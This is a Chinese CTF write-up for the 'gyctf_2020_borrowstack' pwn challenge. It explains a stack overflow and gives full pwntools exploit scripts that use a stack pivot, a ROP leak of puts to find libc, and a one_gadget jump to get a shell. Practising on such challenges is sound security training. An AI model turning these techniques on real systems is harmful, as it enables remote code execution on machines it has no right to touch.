main函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-60h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts(&s);
  read(0, &buf, 0x70uLL);
  puts("Done!You can check and use your borrow stack now!");
  read(0, &bank, 0x100uLL);
  return 0;
}

read(0, &buf, 0x70uLL);处存在溢出,但是可利用的空间太小,所以可以把栈迁移到bank那里。

这道题需要把栈抬高否则离输入输出流太近了,或者使用eds师傅的return大法0.0。

最后的返回地址填的不是main函数的地址,而直接填入的0x400680,直接到达溢出点。

from pwn import *
from struct import pack

elf = ELF('./gyctf_2020_borrowstack')

local = 1
if local == 1:
    io = process('./gyctf_2020_borrowstack')
    gdb.attach(io,'b * 0x400680')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    io = remote('node4.buuoj.cn',29939)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

leave_addr = 0x400699
bank = 0x0601080
payload1 = 'a'*0x60+p64(bank)+p64(leave_addr)
io.recvuntil("want\n")
io.send(payload1)

ret = 0x40069A
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_ret = 0x0000000000400703
payload2 = p64(bank)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(0x400680)
io.recvuntil("now!\n")
io.send(payload2)

puts_addr = u64(io.recvuntil("\x7f")[-6:]+'\x00\x00')
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base:'+hex(puts_addr))

io.sendline(cyclic(200))

io.interactive()

动调得到溢出点的距离为104

接下来使用one_gedget:

用第二个。最终的exp如下:

from pwn import *
from struct import pack

elf = ELF('./gyctf_2020_borrowstack')

local = 1
if local == 1:
    io = process('./gyctf_2020_borrowstack')
    #gdb.attach(io,'b * 0x400680')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    io = remote('node4.buuoj.cn',29939)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

leave_addr = 0x400699
bank = 0x0601080
payload1 = 'a'*0x60+p64(bank)+p64(leave_addr)
io.recvuntil("want\n")
io.send(payload1)

ret = 0x40069A
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_ret = 0x0000000000400703
payload2 = p64(bank)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(0x400680)
io.recvuntil("now!\n")
io.send(payload2)

puts_addr = u64(io.recvuntil("\x7f")[-6:]+'\x00\x00')
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base:'+hex(puts_addr))

system_addr = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()

io.sendline(cyclic(104)+p64(libc_base + 0x4527a))

io.interactive()